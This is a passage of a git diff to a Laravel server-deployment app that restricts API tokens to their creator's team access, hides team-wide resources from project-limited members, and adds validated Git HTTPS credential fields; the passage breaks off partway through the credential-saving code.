b/app/Http/Middleware/EnsureTokenBelongsToCurrentTeamMember.php @@ -2,12 +2,20 @@ namespace App\Http\Middleware; +use App\Enums\AccessLevel; +use App\Models\PersonalAccessToken; +use App\Models\User; +use App\Services\Access\AccessResolver; +use App\Services\Access\Grant; use Closure; use Illuminate\Http\Request; +use Laravel\Sanctum\PersonalAccessToken as SanctumPersonalAccessToken; use Symfony\Component\HttpFoundation\Response; class EnsureTokenBelongsToCurrentTeamMember { + public const EXCEEDS_ACCESS_MESSAGE = 'This API token has more access than you have in this team. Revoke it and create a new token.'; + public function handle(Request $request, Closure $next): Response { $user = $request->user(); @@ -26,15 +34,13 @@ class EnsureTokenBelongsToCurrentTeamMember return response()->json(['message' => 'Invalid token.'], 401); } - $role = $team->pivot?->role; - // Match ApiAbility::MEMBER_DISALLOWED_ABILITIES — members are read-only. - $elevated = $token->can('root') - || $token->can('write') - || $token->can('write:sensitive') - || $token->can('deploy') - || $token->can('read:sensitive'); + if (! self::tokenWithinCreatorAccess($user, $token, (int) $teamId)) { + auditLog('api.auth.token_exceeds_access', [ + 'token_id' => $token->getKey(), + 'team_id' => (int) $teamId, + 'abilities' => $token->abilities ?? [], + ], 'warning'); - if ($elevated && ! in_array($role, ['admin', 'owner'], true)) { // MCP clients expect JSON-RPC envelopes (often only parsed on HTTP 200). // Keep REST API clients on plain 403 JSON. if ($request->is('mcp') || $request->is('mcp/*')) { @@ -43,14 +49,41 @@ class EnsureTokenBelongsToCurrentTeamMember 'id' => $request->input('id'), 'error' => [ 'code' => -32003, - 'message' => 'Missing required team role.', + 'message' => self::EXCEEDS_ACCESS_MESSAGE, ], ]); } - return response()->json(['message' => 'Missing required team role.'], 403); + return response()->json(['message' => self::EXCEEDS_ACCESS_MESSAGE], 403); } return $next($request); } + + /** + * A token can never do more than its owner can do in the token team, also after the owner lost access. + * Owners and admins hold every level. A member must hold every token ability on every token scope. + */ + public static function tokenWithinCreatorAccess(User $user, SanctumPersonalAccessToken $token, int $teamId): bool + { + if ($user->isAdminOfTeam($teamId)) { + return true; + } + + // The deploy canvas token is built in memory from the session user's role, never from user input. + if (! $token->exists) { + return true; + } + + $abilities = array_values($token->abilities ?? []); + $levels = AccessLevel::parseMany($abilities); + // Abilities outside the access levels (write:sensitive, *) are for owners and admins only. + if (count($levels) !== count(array_unique($abilities))) { + return false; + } + + $grants = $token instanceof PersonalAccessToken ? AccessResolver::tokenGrants($token) : null; + + return app(AccessResolver::class)->userHolds($user, $teamId, $grants ?? [Grant::team($levels)]); + } } diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 944f9b3bb5..53b278767a 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -3345,7 +3345,10 @@ class ApplicationDeploymentJob implements ShouldBeEncrypted, ShouldQueue { $sshCommand = gitSshCommand($this->customPort, $identityFile); - return 'GIT_SSH_COMMAND="'.$sshCommand.'" git ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); + $gitConfigOption = $this->application->gitHttpsCredentialConfigOption(); + $gitCommand = $gitConfigOption ? "git {$gitConfigOption}" : 'git'; + + return 'GIT_SSH_COMMAND="'.$sshCommand.'" '.$gitCommand.' ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); } private function update_repository_project_id(): void diff --git a/app/Jobs/ServerConnectionCheckJob.php b/app/Jobs/ServerConnectionCheckJob.php index 841e915b78..a641dfdc11 100644 --- a/app/Jobs/ServerConnectionCheckJob.php +++ b/app/Jobs/ServerConnectionCheckJob.php @@ -7,6 +7,7 @@ use App\Helpers\SshMultiplexingHelper; use App\Models\Server; use App\Services\ServerTransfer\ServerTransferClaimer; use Illuminate\Bus\Queueable; +use Illuminate\Contracts\Process\ProcessResult; use Illuminate\Contracts\Queue\ShouldBeEncrypted; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Foundation\Bus\Dispatchable; @@ -225,8 +226,7 @@ class ServerConnectionCheckJob implements ShouldBeEncrypted, ShouldQueue private function attemptConnection(): bool { try { - $process = Process::timeout(self::SSH_TIMEOUT_SECONDS) - ->run($this->sshCommand(self::probeCommand(), disableMultiplexing: true)); + $process = $this->runSsh(self::probeCommand(), self::SSH_TIMEOUT_SECONDS, disableMultiplexing: true); if ($process->exitCode() !== 0) { $this->connectionError = 'ssh exit '.$process->exitCode().': '.Str::limit(trim($process->errorOutput()), 300); } else { @@ -308,7 +308,7 @@ class ServerConnectionCheckJob implements ShouldBeEncrypted, ShouldQueue private function runDockerCommand(string $command): ?string { try { - $process = Process::timeout(self::DOCKER_TIMEOUT_SECONDS)->run($this->sshCommand($command, disableMultiplexing: $this->disableMux)); + $process = $this->runSsh($command, self::DOCKER_TIMEOUT_SECONDS, disableMultiplexing: $this->disableMux); } catch (\Throwable $e) { Log::debug('ServerConnectionCheck: Docker command failed', [ 'server_id' => $this->server->id, @@ -322,13 +322,15 @@ class ServerConnectionCheckJob implements ShouldBeEncrypted, ShouldQueue return $process->successful() ? sanitize_utf8_text(trim($process->output())) : null; } - private function sshCommand(string $command, bool $disableMultiplexing = false): string + private function runSsh(string $command, int $timeout, bool $disableMultiplexing = false): ProcessResult { $commands = [$command]; if ($this->server->isNonRoot()) { $commands = parseCommandsByLineForSudo(collect($commands), $this->server); } - return SshMultiplexingHelper::generateSshCommand($this->server, implode("\n", $commands), $disableMultiplexing); + return Process::timeout($timeout) + ->input(SshMultiplexingHelper::sshBatchInput(implode("\n", $commands))) + ->run(SshMultiplexingHelper::generateSshBatchCommand($this->server, $disableMultiplexing)); } } diff --git a/app/Livewire/Dashboard.php b/app/Livewire/Dashboard.php index aa32fe6770..f04c960345 100644 --- a/app/Livewire/Dashboard.php +++ b/app/Livewire/Dashboard.php @@ -7,7 +7,9 @@ use App\Models\PrivateKey; use App\Models\Project; use App\Models\Server; use App\Models\TeamInvitation; +use App\Services\Access\AccessResolver; use Illuminate\Support\Collection; +use Livewire\Attributes\Locked; use Livewire\Component; class Dashboard extends Component @@ -20,16 +22,24 @@ class Dashboard extends Component public Collection $privateKeys; + /** + * Members limited to some projects do not see team-level sections such as servers. + */ + #[Locked] + public bool $showsTeamSections = true; + public function mount() { - if ($this->prefersCanvasView('dashboard')) { + $this->showsTeamSections = app(AccessResolver::class)->coversWholeTeam(auth()->user(), currentTeam()->id); + + if ($this->showsTeamSections && $this->prefersCanvasView('dashboard')) { $this->redirectRoute('dashboard.canvas', navigate: true); return; } - $this->privateKeys = PrivateKey::ownedByCurrentTeamCached(); - $this->servers = Server::ownedByCurrentTeamCached(); + $this->privateKeys = $this->showsTeamSections ? PrivateKey::ownedByCurrentTeamCached() : collect(); + $this->servers = $this->showsTeamSections ? Server::ownedByCurrentTeamCached() : collect(); $this->projects = Project::ownedByCurrentTeam() ->with(['environments:id,uuid,name,project_id']) ->withCount([ diff --git a/app/Livewire/Dashboard/ActiveDeployments.php b/app/Livewire/Dashboard/ActiveDeployments.php index 216c1f0bc4..74274d434d 100644 --- a/app/Livewire/Dashboard/ActiveDeployments.php +++ b/app/Livewire/Dashboard/ActiveDeployments.php @@ -36,7 +36,8 @@ class ActiveDeployments extends Component $baseQuery = ApplicationDeploymentQueue::query() ->with(['application.environment.project']) - ->ownedByTeam(currentTeam()->id); + ->ownedByTeam(currentTeam()->id) + ->visibleToCurrentActor(); $this->activeDeployments = (clone $baseQuery) ->whereIn('status', [ diff --git a/app/Livewire/DeploymentsIndicator.php b/app/Livewire/DeploymentsIndicator.php index 6f810b9edc..ef9d947ddd 100644 --- a/app/Livewire/DeploymentsIndicator.php +++ b/app/Livewire/DeploymentsIndicator.php @@ -31,6 +31,7 @@ class DeploymentsIndicator extends Component return ApplicationDeploymentQueue::with(['application.environment.project']) ->ownedByTeam(currentTeam()->id) ->whereIn('status', ['in_progress', 'queued']) + ->visibleToCurrentActor() ->orderBy('id') ->get([ 'id', diff --git a/app/Livewire/GlobalSearch.php b/app/Livewire/GlobalSearch.php index 153932648e..cd2b9b0134 100644 --- a/app/Livewire/GlobalSearch.php +++ b/app/Livewire/GlobalSearch.php @@ -19,6 +19,7 @@ use App\Models\StandaloneMysql; use App\Models\StandalonePostgresql; use App\Models\StandaloneRedis; use App\Models\StandaloneSqlite; +use App\Services\Access\AccessResolver; use Illuminate\Support\Collection; use Illuminate\Support\Facades\Cache; use Livewire\Component; @@ -256,390 +257,402 @@ class GlobalSearch extends Component private function loadSearchableItems() { - // Try to get from Redis cache first - $cacheKey = self::getCacheKey(auth()->user()->currentTeam()->id); + $teamWide = $this->actorCoversWholeTeam(); - $resources = Cache::remember($cacheKey, 300, function () { - $items = collect(); - $team = auth()->user()->currentTeam(); - - // Get all applications - $applications = Application::ownedByCurrentTeam() - ->with(['environment.project', 'previews:id,application_id,pull_request_id']) - ->get() - ->map(function ($app) { - // Collect all FQDNs from the application - $fqdns = collect([]); - - // For regular applications - if ($app->fqdn) { - $fqdns = collect(explode(',', $app->fqdn))->map(fn ($fqdn) => trim($fqdn)); - } - - // For docker compose based applications - if ($app->build_pack === 'dockercompose' && $app->docker_compose_domains) { - try { - $composeDomains = json_decode($app->docker_compose_domains, true); - if (is_array($composeDomains)) { - foreach ($composeDomains as $serviceName => $domains) { - if (is_array($domains)) { - $fqdns = $fqdns->merge($domains); - } - } - } - } catch (\Exception $e) { - // Ignore JSON parsing errors - } - } - - $fqdnsString = $fqdns->implode(' '); - - // Add PR search terms if preview is enabled - $prSearchTerms = ''; - if ($app->preview_enabled ?? false) { - $prIds = collect($app->previews ?? []) - ->pluck('pull_request_id') - ->map(fn ($id) => "pr-{$id} pr{$id} {$id}") - ->implode(' '); - $prSearchTerms = $prIds; - } - - return [ - 'id' => $app->id, - 'name' => $app->name, - 'type' => 'application', - 'uuid' => $app->uuid, - 'description' => $app->description, - 'link' => $app->link(), - 'project' => $app->environment->project->name ?? null, - 'environment' => $app->environment->name ?? null, - 'fqdns' => $fqdns->take(2)->implode(', '), // Show first 2 FQDNs in UI - 'search_text' => strtolower($app->name.' '.$app->description.' '.$fqdnsString.' '.$app->uuid.' '.$prSearchTerms.' application applications app apps'), - ]; - }); - - // Get all services - $services = Service::ownedByCurrentTeam() - ->with(['environment.project', 'applications', 'databases']) - ->get() - ->map(function ($service) { - // Collect all FQDNs from service applications - $fqdns = collect([]); - foreach ($service->applications as $app) { - if ($app->fqdn) { - $appFqdns = collect(explode(',', $app->fqdn))->map(fn ($fqdn) => trim($fqdn)); - $fqdns = $fqdns->merge($appFqdns); - } - } - $fqdnsString = $fqdns->implode(' '); - - // Collect service component names for container search - $serviceAppNames = collect($service->applications ?? [])->pluck('name')->implode(' '); - $serviceDbNames = collect($service->databases ?? [])->pluck('name')->implode(' '); - - return [ - 'id' => $service->id, - 'name' => $service->name, - 'type' => 'service', - 'uuid' => $service->uuid, - 'description' => $service->description, - 'link' => $service->link(), - 'project' => $service->environment->project->name ?? null, - 'environment' => $service->environment->name ?? null, - 'fqdns' => $fqdns->take(2)->implode(', '), // Show first 2 FQDNs in UI - 'search_text' => strtolower($service->name.' '.$service->description.' '.$fqdnsString.' '.$service->uuid.' '.$serviceAppNames.' '.$serviceDbNames.' service services'), - ]; - }); - - // Get all standalone databases - $databases = collect(); - - // PostgreSQL - $databases = $databases->merge( - StandalonePostgresql::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'postgresql', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' postgresql '.$db->description.' database databases db'), - ]; - }) - ); - - // MySQL - $databases = $databases->merge( - StandaloneMysql::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'mysql', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' mysql '.$db->description.' database databases db'), - ]; - }) - ); - - // MariaDB - $databases = $databases->merge( - StandaloneMariadb::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'mariadb', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' mariadb '.$db->description.' database databases db'), - ]; - }) - ); - - // MongoDB - $databases = $databases->merge( - StandaloneMongodb::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'mongodb', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' mongodb '.$db->description.' database databases db'), - ]; - }) - ); - - // Redis - $databases = $databases->merge( - StandaloneRedis::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'redis', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' redis '.$db->description.' database databases db'), - ]; - }) - ); - - // KeyDB - $databases = $databases->merge( - StandaloneKeydb::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'keydb', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' keydb '.$db->description.' database databases db'), - ]; - }) - ); - - // Dragonfly - $databases = $databases->merge( - StandaloneDragonfly::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'dragonfly', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' dragonfly '.$db->description.' database databases db'), - ]; - }) - ); - - // Clickhouse - $databases = $databases->merge( - StandaloneClickhouse::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'clickhouse', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' clickhouse '.$db->description.' database databases db'), - ]; - }) - ); - - // SQLite - $databases = $databases->merge( - StandaloneSqlite::ownedByCurrentTeam() - ->with(['environment.project']) - ->get() - ->map(function ($db) { - return [ - 'id' => $db->id, - 'name' => $db->name, - 'type' => 'database', - 'subtype' => 'sqlite', - 'uuid' => $db->uuid, - 'description' => $db->description, - 'link' => $db->link(), - 'project' => $db->environment->project->name ?? null, - 'environment' => $db->environment->name ?? null, - 'search_text' => strtolower($db->name.' '.$db->uuid.' sqlite '.$db->description.' database databases db'), - ]; - }) - ); - - // Get all servers - $servers = Server::ownedByCurrentTeam() - ->get() - ->map(function ($server) { - return [ - 'id' => $server->id, - 'name' => $server->name, - 'type' => 'server', - 'uuid' => $server->uuid, - 'description' => $server->description, - 'link' => $server->url(), - 'project' => null, - 'environment' => null, - 'search_text' => strtolower($server->name.' '.$server->ip.' '.$server->description.' server servers'), - ]; - }); - // Get all projects - $projects = Project::ownedByCurrentTeam() - ->withCount(['environments', 'applications', 'services']) - ->get() - ->map(function ($project) { - $resourceCount = $project->applications_count + $project->services_count; - $resourceSummary = $resourceCount > 0 - ? "{$resourceCount} resource".($resourceCount !== 1 ? 's' : '') - : 'No resources'; - - return [ - 'id' => $project->id, - 'name' => $project->name, - 'type' => 'project', - 'uuid' => $project->uuid, - 'description' => $project->description, - 'link' => $project->navigateTo(), - 'project' => null, - 'environment' => null, - 'resource_count' => $resourceSummary, - 'environment_count' => $project->environments_count, - 'search_text' => strtolower($project->name.' '.$project->description.' project projects'), - ]; - }); - - // Get all environments - $environments = Environment::ownedByCurrentTeam() - ->with('project') - ->withCount(['applications', 'services']) - ->get() - ->map(function ($environment) { - $resourceCount = $environment->applications_count + $environment->services_count; - $resourceSummary = $resourceCount > 0 - ? "{$resourceCount} resource".($resourceCount !== 1 ? 's' : '') - : 'No resources'; - - // Build description with project context - $descriptionParts = []; - if ($environment->project) { - $descriptionParts[] = "Project: {$environment->project->name}"; - } - if ($environment->description) { - $descriptionParts[] = $environment->description; - } - if (empty($descriptionParts)) { - $descriptionParts[] = $resourceSummary; - } - - return [ - 'id' => $environment->id, - 'name' => $environment->name, - 'type' => 'environment', - 'uuid' => $environment->uuid, - 'description' => implode(' • ', $descriptionParts), - 'link' => route('project.resource.index', [ - 'project_uuid' => $environment->project->uuid, - 'environment_uuid' => $environment->uuid, - ]), - 'project' => $environment->project->name ?? null, - 'environment' => null, - 'resource_count' => $resourceSummary, - 'search_text' => strtolower($environment->name.' '.$environment->description.' '.$environment->project->name.' environment'), - ]; - }); - - // Merge all collections - $items = $items->merge($applications) - ->merge($services) - ->merge($databases) - ->merge($servers) - ->merge($projects) - ->merge($environments); - - return $items->toArray(); - }); + // The team cache holds every resource of the team, so members limited to some projects + // never read or write it. Their index is built from the queries the access grants filter. + $resources = $teamWide + ? Cache::remember(self::getCacheKey(auth()->user()->currentTeam()->id), 300, fn () => $this->searchableResources(includeServers: true)) + : $this->searchableResources(includeServers: false); // Navigation depends on the user's permissions, so it is not part of the team-wide cache - $this->allSearchableItems = $this->navigationItems()->merge($resources)->values()->all(); + $this->allSearchableItems = $this->navigationItems($teamWide)->merge($resources)->values()->all(); } - private function navigationItems(): Collection + private function actorCoversWholeTeam(): bool + { + return app(AccessResolver::class)->coversWholeTeam(auth()->user(), auth()->user()->currentTeam()->id); + } + + /** + * @return list> + */ + private function searchableResources(bool $includeServers): array + { + $items = collect(); + + // Get all applications + $applications = Application::ownedByCurrentTeam() + ->with(['environment.project', 'previews:id,application_id,pull_request_id']) + ->get() + ->map(function ($app) { + // Collect all FQDNs from the application + $fqdns = collect([]); + + // For regular applications + if ($app->fqdn) { + $fqdns = collect(explode(',', $app->fqdn))->map(fn ($fqdn) => trim($fqdn)); + } + + // For docker compose based applications + if ($app->build_pack === 'dockercompose' && $app->docker_compose_domains) { + try { + $composeDomains = json_decode($app->docker_compose_domains, true); + if (is_array($composeDomains)) { + foreach ($composeDomains as $serviceName => $domains) { + if (is_array($domains)) { + $fqdns = $fqdns->merge($domains); + } + } + } + } catch (\Exception $e) { + // Ignore JSON parsing errors + } + } + + $fqdnsString = $fqdns->implode(' '); + + // Add PR search terms if preview is enabled + $prSearchTerms = ''; + if ($app->preview_enabled ?? false) { + $prIds = collect($app->previews ?? []) + ->pluck('pull_request_id') + ->map(fn ($id) => "pr-{$id} pr{$id} {$id}") + ->implode(' '); + $prSearchTerms = $prIds; + } + + return [ + 'id' => $app->id, + 'name' => $app->name, + 'type' => 'application', + 'uuid' => $app->uuid, + 'description' => $app->description, + 'link' => $app->link(), + 'project' => $app->environment->project->name ?? null, + 'environment' => $app->environment->name ?? null, + 'fqdns' => $fqdns->take(2)->implode(', '), // Show first 2 FQDNs in UI + 'search_text' => strtolower($app->name.' '.$app->description.' '.$fqdnsString.' '.$app->uuid.' '.$prSearchTerms.' application applications app apps'), + ]; + }); + + // Get all services + $services = Service::ownedByCurrentTeam() + ->with(['environment.project', 'applications', 'databases']) + ->get() + ->map(function ($service) { + // Collect all FQDNs from service applications + $fqdns = collect([]); + foreach ($service->applications as $app) { + if ($app->fqdn) { + $appFqdns = collect(explode(',', $app->fqdn))->map(fn ($fqdn) => trim($fqdn)); + $fqdns = $fqdns->merge($appFqdns); + } + } + $fqdnsString = $fqdns->implode(' '); + + // Collect service component names for container search + $serviceAppNames = collect($service->applications ?? [])->pluck('name')->implode(' '); + $serviceDbNames = collect($service->databases ?? [])->pluck('name')->implode(' '); + + return [ + 'id' => $service->id, + 'name' => $service->name, + 'type' => 'service', + 'uuid' => $service->uuid, + 'description' => $service->description, + 'link' => $service->link(), + 'project' => $service->environment->project->name ?? null, + 'environment' => $service->environment->name ?? null, + 'fqdns' => $fqdns->take(2)->implode(', '), // Show first 2 FQDNs in UI + 'search_text' => strtolower($service->name.' '.$service->description.' '.$fqdnsString.' '.$service->uuid.' '.$serviceAppNames.' '.$serviceDbNames.' service services'), + ]; + }); + + // Get all standalone databases + $databases = collect(); + + // PostgreSQL + $databases = $databases->merge( + StandalonePostgresql::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'postgresql', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' postgresql '.$db->description.' database databases db'), + ]; + }) + ); + + // MySQL + $databases = $databases->merge( + StandaloneMysql::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'mysql', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' mysql '.$db->description.' database databases db'), + ]; + }) + ); + + // MariaDB + $databases = $databases->merge( + StandaloneMariadb::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'mariadb', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' mariadb '.$db->description.' database databases db'), + ]; + }) + ); + + // MongoDB + $databases = $databases->merge( + StandaloneMongodb::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'mongodb', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' mongodb '.$db->description.' database databases db'), + ]; + }) + ); + + // Redis + $databases = $databases->merge( + StandaloneRedis::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'redis', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' redis '.$db->description.' database databases db'), + ]; + }) + ); + + // KeyDB + $databases = $databases->merge( + StandaloneKeydb::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'keydb', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' keydb '.$db->description.' database databases db'), + ]; + }) + ); + + // Dragonfly + $databases = $databases->merge( + StandaloneDragonfly::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'dragonfly', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' dragonfly '.$db->description.' database databases db'), + ]; + }) + ); + + // Clickhouse + $databases = $databases->merge( + StandaloneClickhouse::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'clickhouse', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' clickhouse '.$db->description.' database databases db'), + ]; + }) + ); + + // SQLite + $databases = $databases->merge( + StandaloneSqlite::ownedByCurrentTeam() + ->with(['environment.project']) + ->get() + ->map(function ($db) { + return [ + 'id' => $db->id, + 'name' => $db->name, + 'type' => 'database', + 'subtype' => 'sqlite', + 'uuid' => $db->uuid, + 'description' => $db->description, + 'link' => $db->link(), + 'project' => $db->environment->project->name ?? null, + 'environment' => $db->environment->name ?? null, + 'search_text' => strtolower($db->name.' '.$db->uuid.' sqlite '.$db->description.' database databases db'), + ]; + }) + ); + + // Get all servers + $servers = ($includeServers ? Server::ownedByCurrentTeam()->get() : collect()) + ->map(function ($server) { + return [ + 'id' => $server->id, + 'name' => $server->name, + 'type' => 'server', + 'uuid' => $server->uuid, + 'description' => $server->description, + 'link' => $server->url(), + 'project' => null, + 'environment' => null, + 'search_text' => strtolower($server->name.' '.$server->ip.' '.$server->description.' server servers'), + ]; + }); + // Get all projects + $projects = Project::ownedByCurrentTeam() + ->withCount(['environments', 'applications', 'services']) + ->get() + ->map(function ($project) { + $resourceCount = $project->applications_count + $project->services_count; + $resourceSummary = $resourceCount > 0 + ? "{$resourceCount} resource".($resourceCount !== 1 ? 's' : '') + : 'No resources'; + + return [ + 'id' => $project->id, + 'name' => $project->name, + 'type' => 'project', + 'uuid' => $project->uuid, + 'description' => $project->description, + 'link' => $project->navigateTo(), + 'project' => null, + 'environment' => null, + 'resource_count' => $resourceSummary, + 'environment_count' => $project->environments_count, + 'search_text' => strtolower($project->name.' '.$project->description.' project projects'), + ]; + }); + + // Get all environments + $environments = Environment::ownedByCurrentTeam() + ->with('project') + ->withCount(['applications', 'services']) + ->get() + ->map(function ($environment) { + $resourceCount = $environment->applications_count + $environment->services_count; + $resourceSummary = $resourceCount > 0 + ? "{$resourceCount} resource".($resourceCount !== 1 ? 's' : '') + : 'No resources'; + + // Build description with project context + $descriptionParts = []; + if ($environment->project) { + $descriptionParts[] = "Project: {$environment->project->name}"; + } + if ($environment->description) { + $descriptionParts[] = $environment->description; + } + if (empty($descriptionParts)) { + $descriptionParts[] = $resourceSummary; + } + + return [ + 'id' => $environment->id, + 'name' => $environment->name, + 'type' => 'environment', + 'uuid' => $environment->uuid, + 'description' => implode(' • ', $descriptionParts), + 'link' => route('project.resource.index', [ + 'project_uuid' => $environment->project->uuid, + 'environment_uuid' => $environment->uuid, + ]), + 'project' => $environment->project->name ?? null, + 'environment' => null, + 'resource_count' => $resourceSummary, + 'search_text' => strtolower($environment->name.' '.$environment->description.' '.$environment->project->name.' environment'), + ]; + }); + + // Merge all collections + $items = $items->merge($applications) + ->merge($services) + ->merge($databases) + ->merge($servers) + ->merge($projects) + ->merge($environments); + + return $items->toArray(); + } + + private function navigationItems(bool $teamWide): Collection { $user = auth()->user(); $team = $user->currentTeam(); @@ -934,6 +947,19 @@ class GlobalSearch extends Component ); } + if (! $teamWide) { + $projectPages = [ + route('dashboard'), + route('project.index'), + route('shared-variables.project.index'), + route('shared-variables.environment.index'), + route('profile'), + route('profile.appearance'), + route('security.api-tokens'), + ]; + $navigation = $navigation->whereIn('link', $projectPages)->values(); + } + return $navigation; } diff --git a/app/Livewire/Project/Application/Source.php b/app/Livewire/Project/Application/Source.php index 395ddbfa39..74f6255cb5 100644 --- a/app/Livewire/Project/Application/Source.php +++ b/app/Livewire/Project/Application/Source.php @@ -9,6 +9,7 @@ use App\Models\GitlabApp; use App\Models\PrivateKey; use App\Rules\ValidGitBranch; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Validation\ValidationException; use Livewire\Attributes\Locked; use Livewire\Attributes\Validate; use Livewire\Component; @@ -40,6 +41,18 @@ class Source extends Component #[Locked] public $sources; + #[Validate(['nullable', 'string', 'max:255', 'regex:/^[^:\r\n]*$/'])] + public ?string $gitHttpsUsername = null; + + /** + * Write-only: the saved password or token is never sent to the browser. + */ + #[Validate(['nullable', 'string', 'max:2048', 'regex:/^[^\r\n]*$/'])] + public ?string $gitHttpsPassword = null; + + #[Locked] + public bool $hasGitHttpsPassword = false; + public function mount() { try { @@ -70,12 +83,19 @@ class Source extends Component { if ($toModel) { $this->validate(); - $this->application->update([ + $this->application->fill([ 'git_repository' => $this->gitRepository, 'git_branch' => $this->gitBranch, 'git_commit_sha' => $this->gitCommitSha, 'private_key_id' => $this->privateKeyId, ]); + if (filled($this->gitHttpsPassword)) { + $this->application->git_https_username = $this->gitHttpsUsername; + 